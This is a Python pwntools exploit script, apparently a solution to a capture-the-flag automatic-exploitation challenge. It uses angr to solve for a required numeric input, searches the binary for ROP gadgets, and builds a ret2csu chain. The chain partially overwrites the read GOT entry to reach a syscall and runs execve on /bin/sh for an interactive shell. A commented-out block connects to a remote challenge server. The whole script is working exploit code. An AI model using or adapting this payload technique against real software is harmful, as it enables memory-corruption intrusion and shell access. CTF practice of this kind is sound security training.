1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121
| from pwn import * import time import base64 import angr import claripy import os context.log_level = 'debug'
def pwn(): ''' #remote p=remote('121.36.21.113','10004') p.recvuntil('------------------data info------------------\n') a=p.recvuntil('\n',drop=True) #print(a) b=base64.b64decode(a) with open("./elffile2","wb+") as f1: f1.write(b) os.system("chmod +x ./elffile2") ''' with open("./elffile2","rb") as f1: b=f1.read(0x900) code=b[0x6fe:] x=time.time() read_code=b'\x48\x8d\x85' find_read=b.find(read_code, 0x7a0, 0x800)+0x400000 end_code=b'\x4c\x89\xea\x4c\x89\xf6\x44' start_code=b'\x48\x83\xc4\x08\x5b\x5d\x41' pop_rdi_code=b'\x5f\xc3' pop_rsi_r15_code=b'\x5e\x41\x5f\xc3' pop_rdi=b.find(pop_rdi_code, 0x800, 0x900)+0x400000 pop_rsi_r15=b.find(pop_rsi_r15_code, 0x800, 0x900)+0x400000 csu_behind=b.find(start_code, 0x800, 0x900)+0x400000 csu_front=b.find(end_code, 0x800, 0x900)+0x400000 print('behind: '+hex(csu_behind)) print('front: '+hex(csu_front)) print('pop_rdi: '+hex(pop_rdi)) print('pop_rsi: '+hex(pop_rsi_r15)) print('ok') print('read_addr: '+hex(find_read)) proj = angr.Project('./elffile2') argv1 = claripy.BVS('argv1', 8*10) state = proj.factory.entry_state(args=['./elffile2',argv1]) for byt in argv1.chop(8): state.add_constraints( state.solver.And(byt >= ord('0'),byt <= ord('9')) ) simgr = proj.factory.simgr(state) simgr.one_active.options.add(angr.options.LAZY_SOLVES) res=simgr.explore(find = find_read) st = simgr.found[0] s=st.solver.eval(argv1,cast_to=bytes) s_str=str(s,encoding='utf-8') print(s_str)
y=time.time() print("---------------------%f------------------------------"%(y-x)) elf = ELF('./elffile2') op='' length=0 if code[0]==0x81: op='sub' if code[3]!=0: length=code[2]+code[3]*0x100 else: length=code[2] else: op='add' length=code[2] print('length: '+hex(length)) print(op) read_got=elf.got['read'] read_plt=elf.plt['read'] bss=elf.bss()+0x100 print('read_got: '+hex(read_got)) def csu(rbx,rbp,r12,r13,r14,r15): payload=p64(csu_behind) payload+=p64(0) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload+=p64(csu_front) payload+=b'\x00'*0x38 return payload ''' p.recvuntil('Hi, input code:') p.sendline(s_str) ''' p = process(['./elffile2',s_str]) payload=b'a'*(length-0x8) payload+=csu(0, 1, read_got, 8, bss, 0) payload+=csu(0, 1, read_got, 59, read_got, 0) payload+=p64(pop_rdi)+p64(1)+p64(read_plt) payload+=p64(csu_behind) payload+=p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(0) + p64(bss) payload+=p64(csu_front) print(hex(len(payload))) p.send(payload)
time.sleep(1) p.send('/bin/sh\x00') time.sleep(1) payload='\x7f' p.send(payload) p.interactive()
pwn()
|